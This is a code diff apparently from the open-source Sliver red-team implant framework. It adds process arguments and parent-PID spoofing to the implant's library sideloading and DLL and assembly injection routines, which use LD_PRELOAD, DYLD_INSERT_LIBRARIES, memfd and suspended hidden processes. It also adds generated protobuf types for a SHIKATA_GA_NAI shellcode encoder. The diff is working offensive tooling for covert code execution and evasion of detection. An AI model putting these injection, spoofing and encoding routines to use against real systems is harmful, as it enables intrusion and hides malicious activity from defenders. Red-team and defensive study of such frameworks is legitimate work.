@@ -58,11 +58,12 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
 }
 
 // Sideload - Side load a library and return its output
-func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
+func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
 	var (
 		stdOut bytes.Buffer
 		stdErr bytes.Buffer
 		wg     sync.WaitGroup
+		cmd    *exec.Cmd
 	)
 	fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
 	err := ioutil.WriteFile(fdPath, data, 0755)
@@ -75,7 +76,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
 		fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
 	}
 	env = append(env, newEnv...)
-	cmd := exec.Command(procName)
+	if len(procArgs) > 0 {
+		cmd = exec.Command(procName, procArgs...)
+	} else {
+		cmd = exec.Command(procName)
+	}
 	cmd.Env = env
 	cmd.Stdout = &stdOut
 	cmd.Stderr = &stdErr

implant/sliver/taskrunner/task_linux.go

@@ -56,12 +56,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
 }
 
 // Sideload - Side load a library and return its output
-func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
+func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
 	var (
 		nrMemfdCreate int
 		stdOut        bytes.Buffer
 		stdErr        bytes.Buffer
 		wg            sync.WaitGroup
+		cmd           *exec.Cmd
 	)
 	memfdName := randomString(8)
 	memfd, err := syscall.BytePtrFromString(memfdName)
@@ -95,7 +96,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
 		fmt.Sprintf("LD_PRELOAD=%s", fdPath),
 	}
 	env = append(env, newEnv...)
-	cmd := exec.Command(procName)
+	if len(procArgs) > 0 {
+		cmd = exec.Command(procName, procArgs...)
+	} else {
+		cmd = exec.Command(procName)
+	}
 	cmd.Env = env
 	cmd.Stdout = &stdOut
 	cmd.Stderr = &stdErr

implant/sliver/taskrunner/task_windows.go

@@ -31,6 +31,7 @@ import (
 	"time"
 	"unsafe"
 
+	"github.com/bishopfox/sliver/implant/sliver/spoof"
 	"syscall"
 	// {{if .Config.Evasion}}
 	"github.com/bishopfox/sliver/implant/sliver/evasion"
@@ -199,12 +200,12 @@ func LocalTask(data []byte, rwxPages bool) error {
 	return err
 }
 
-func ExecuteAssembly(data []byte, process string) (string, error) {
+func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
 	var (
 		stdoutBuf, stderrBuf bytes.Buffer
 		lpTargetHandle       windows.Handle
 	)
-	cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
+	cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)
 	if err != nil {
 		//{{if .Config.Debug}}
 		log.Println("Could not start process:", process)
@@ -252,7 +253,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
 	return stdoutBuf.String() + stderrBuf.String(), nil
 }
 
-func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
+func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
 	var lpTargetHandle windows.Handle
 	err := refresh()
 	if err != nil {
@@ -261,7 +262,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
 	var stdoutBuff bytes.Buffer
 	var stderrBuff bytes.Buffer
 	// 1 - Start process
-	cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
+	cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
 	if err != nil {
 		return "", err
 	}
@@ -327,9 +328,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
 	return "", nil
 }
 
-//SideLoad - Side load a binary as shellcode and returns its output
-func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
-	return SpawnDll(procName, data, 0, "", kill)
+// SideLoad - Side load a binary as shellcode and returns its output
+func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
+	return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
 }
 
 // Util functions
@@ -358,20 +359,30 @@ func refresh() error {
 	return nil
 }
 
-func startProcess(proc string, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
-	cmd := exec.Command(proc)
+func startProcess(proc string, args []string, ppid uint32, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
+	var cmd *exec.Cmd
+	if len(args) > 0 {
+		cmd = exec.Command(proc, args...)
+	} else {
+		cmd = exec.Command(proc)
+	}
 	cmd.SysProcAttr = &windows.SysProcAttr{
-		Token: syscall.Token(CurrentToken),
+		Token:      syscall.Token(CurrentToken),
+		HideWindow: true,
+	}
+	err := spoof.SpoofParent(ppid, cmd)
+	if err != nil {
+		// We couldn't spoof the parent, fail open and continue
+		//{{if .Config.Debug}}
+		log.Printf("could not spoof parent PID: %v\n", err)
+		//{{end}}
 	}
 	cmd.Stdout = stdout
 	cmd.Stderr = stderr
-	cmd.SysProcAttr = &windows.SysProcAttr{
-		HideWindow: true,
-	}
 	if suspended {
 		cmd.SysProcAttr.CreationFlags = windows.CREATE_SUSPENDED
 	}
-	err := cmd.Start()
+	err = cmd.Start()
 	if err != nil {
 		//{{if .Config.Debug}}
 		log.Println("Could not start process:", proc)

protobuf/clientpb/client.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.28.0
-// 	protoc        v3.21.4
+// 	protoc-gen-go v1.26.0
+// 	protoc        v3.21.5
 // source: clientpb/client.proto
 
 package clientpb
@@ -270,6 +270,50 @@ func (FileType) EnumDescriptor() ([]byte, []int) {
 	return file_clientpb_client_proto_rawDescGZIP(), []int{4}
 }
 
+// [ Shellcode ] ----------------------------------------
+type ShellcodeEncoder int32
+
+const (
+	ShellcodeEncoder_SHIKATA_GA_NAI ShellcodeEncoder = 0
+)
+
+// Enum value maps for ShellcodeEncoder.
+var (
+	ShellcodeEncoder_name = map[int32]string{
+		0: "SHIKATA_GA_NAI",
+	}
+	ShellcodeEncoder_value = map[string]int32{
+		"SHIKATA_GA_NAI": 0,
+	}
+)
+
+func (x ShellcodeEncoder) Enum() *ShellcodeEncoder {
+	p := new(ShellcodeEncoder)
+	*p = x
+	return p
+}
+
+func (x ShellcodeEncoder) String() string {
+	return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
+}
+
+func (ShellcodeEncoder) Descriptor() protoreflect.EnumDescriptor {
+	return file_clientpb_client_proto_enumTypes[5].Descriptor()
+}
+
+func (ShellcodeEncoder) Type() protoreflect.EnumType {
+	return &file_clientpb_client_proto_enumTypes[5]
+}
+
+func (x ShellcodeEncoder) Number() protoreflect.EnumNumber {
+	return protoreflect.EnumNumber(x)
+}
+
+// Deprecated: Use ShellcodeEncoder.Descriptor instead.
+func (ShellcodeEncoder) EnumDescriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{5}
+}
+
 // [ Version ] ----------------------------------------
 type Version struct {
 	state         protoimpl.MessageState
@@ -5525,6 +5569,195 @@ func (x *DllHijack) GetResponse() *commonpb.Response {
 	return nil
 }
 
+type ShellcodeEncodeReq struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Encoder      ShellcodeEncoder  `protobuf:"varint,1,opt,name=Encoder,proto3,enum=clientpb.ShellcodeEncoder" json:"Encoder,omitempty"`
+	Architecture string            `protobuf:"bytes,2,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
+	Iterations   uint32            `protobuf:"varint,3,opt,name=Iterations,proto3" json:"Iterations,omitempty"`
+	BadChars     []byte            `protobuf:"bytes,4,opt,name=BadChars,proto3" json:"BadChars,omitempty"`
+	Data         []byte            `protobuf:"bytes,8,opt,name=Data,proto3" json:"Data,omitempty"`
+	Request      *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
+}
+
+func (x *ShellcodeEncodeReq) Reset() {
+	*x = ShellcodeEncodeReq{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[73]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ShellcodeEncodeReq) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ShellcodeEncodeReq) ProtoMessage() {}
+
+func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[73]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead.
+func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{73}
+}
+
+func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder {
+	if x != nil {
+		return x.Encoder
+	}
+	return ShellcodeEncoder_SHIKATA_GA_NAI
+}
+
+func (x *ShellcodeEncodeReq) GetArchitecture() string {
+	if x != nil {
+		return x.Architecture
+	}
+	return ""
+}
+
+func (x *ShellcodeEncodeReq) GetIterations() uint32 {
+	if x != nil {
+		return x.Iterations
+	}
+	return 0
+}
+
+func (x *ShellcodeEncodeReq) GetBadChars() []byte {
+	if x != nil {
+		return x.BadChars
+	}
+	return nil
+}
+
+func (x *ShellcodeEncodeReq) GetData() []byte {
+	if x != nil {
+		return x.Data
+	}
+	return nil
+}
+
+func (x *ShellcodeEncodeReq) GetRequest() *commonpb.Request {
+	if x != nil {
+		return x.Request
+	}
+	return nil
+}
+
+type ShellcodeEncode struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Data     []byte             `protobuf:"bytes,8,opt,name=Data,proto3" json:"Data,omitempty"`
+	Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
+}
+
+func (x *ShellcodeEncode) Reset() {
+	*x = ShellcodeEncode{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[74]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ShellcodeEncode) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ShellcodeEncode) ProtoMessage() {}
+
+func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[74]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead.
+func (*ShellcodeEncode) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{74}
+}
+
+func (x *ShellcodeEncode) GetData() []byte {
+	if x != nil {
+		return x.Data
+	}
+	return nil
+}
+
+func (x *ShellcodeEncode) GetResponse() *commonpb.Response {
+	if x != nil {
+		return x.Response
+	}
+	return nil
+}
+
+type ShellcodeEncoderMap struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Encoders map[string]ShellcodeEncoder `protobuf:"bytes,1,rep,name=Encoders,proto3" json:"Encoders,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=clientpb.ShellcodeEncoder"`
+}
+
+func (x *ShellcodeEncoderMap) Reset() {
+	*x = ShellcodeEncoderMap{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[75]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ShellcodeEncoderMap) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ShellcodeEncoderMap) ProtoMessage() {}
+
+func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[75]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead.
+func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{75}
+}
+
+func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder {
+	if x != nil {
+		return x.Encoders
+	}
+	return nil
+}
+
 var File_clientpb_client_proto protoreflect.FileDescriptor
 
 var file_clientpb_client_proto_rawDesc = []byte{
@@ -6194,29 +6427,63 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
 	0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
 	0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73,
-	0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46,
-	0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f,
-	0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f,
-	0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42,
-	0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10,
-	0x03, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63,
-	0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48,
-	0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02,
-	0x2a, 0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09,
-	0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c,
-	0x4f, 0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01,
-	0x2a, 0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79,
-	0x70, 0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54,
-	0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41,
-	0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f,
-	0x4b, 0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a,
-	0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e,
-	0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41,
-	0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f,
-	0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
-	0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
-	0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62,
-	0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63,
+	0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07,
+	0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e,
+	0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f,
+	0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64,
+	0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75,
+	0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74,
+	0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74,
+	0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72,
+	0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61,
+	0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61,
+	0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c,
+	0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
+	0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
+	0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75,
+	0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
+	0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08,
+	0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65,
+	0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63,
+	0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
+	0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53,
+	0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d,
+	0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01,
+	0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+	0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
+	0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72,
+	0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45,
+	0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03,
+	0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30,
+	0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e,
+	0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f,
+	0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
+	0x3a, 0x02, 0x38, 0x01, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f,
+	0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c,
+	0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44,
+	0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c,
+	0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03,
+	0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f,
+	0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54,
+	0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a,
+	0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c,
+	0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f,
+	0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a,
+	0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70,
+	0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49,
+	0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53,
+	0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b,
+	0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d,
+	0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f,
+	0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52,
+	0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x26, 0x0a,
+	0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65,
+	0x72, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f,
+	0x4e, 0x41, 0x49, 0x10, 0x00, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e,
+	0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c,
+	0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var (
@@ -6231,158 +6498,168 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
 	return file_clientpb_client_proto_rawDescData
 }
 
-var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
-var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 77)
+var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 6)
+var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 81)
 var file_clientpb_client_proto_goTypes = []interface{}{
 	(OutputFormat)(0),            // 0: clientpb.OutputFormat
 	(StageProtocol)(0),           // 1: clientpb.StageProtocol
 	(LootType)(0),                // 2: clientpb.LootType
 	(CredentialType)(0),          // 3: clientpb.CredentialType
 	(FileType)(0),                // 4: clientpb.FileType
-	(*Version)(nil),              // 5: clientpb.Version
-	(*Session)(nil),              // 6: clientpb.Session
-	(*Beacon)(nil),               // 7: clientpb.Beacon
-	(*Beacons)(nil),              // 8: clientpb.Beacons
-	(*BeaconTask)(nil),           // 9: clientpb.BeaconTask
-	(*BeaconTasks)(nil),          // 10: clientpb.BeaconTasks
-	(*ImplantC2)(nil),            // 11: clientpb.ImplantC2
-	(*ImplantConfig)(nil),        // 12: clientpb.ImplantConfig
-	(*ImplantBuilds)(nil),        // 13: clientpb.ImplantBuilds
-	(*CompilerTarget)(nil),       // 14: clientpb.CompilerTarget
-	(*CrossCompiler)(nil),        // 15: clientpb.CrossCompiler
-	(*Compiler)(nil),             // 16: clientpb.Compiler
-	(*DeleteReq)(nil),            // 17: clientpb.DeleteReq
-	(*DNSCanary)(nil),            // 18: clientpb.DNSCanary
-	(*Canaries)(nil),             // 19: clientpb.Canaries
-	(*UniqueWGIP)(nil),           // 20: clientpb.UniqueWGIP
-	(*ImplantProfile)(nil),       // 21: clientpb.ImplantProfile
-	(*ImplantProfiles)(nil),      // 22: clientpb.ImplantProfiles
-	(*RegenerateReq)(nil),        // 23: clientpb.RegenerateReq
-	(*Job)(nil),                  // 24: clientpb.Job
-	(*Jobs)(nil),                 // 25: clientpb.Jobs
-	(*KillJobReq)(nil),           // 26: clientpb.KillJobReq
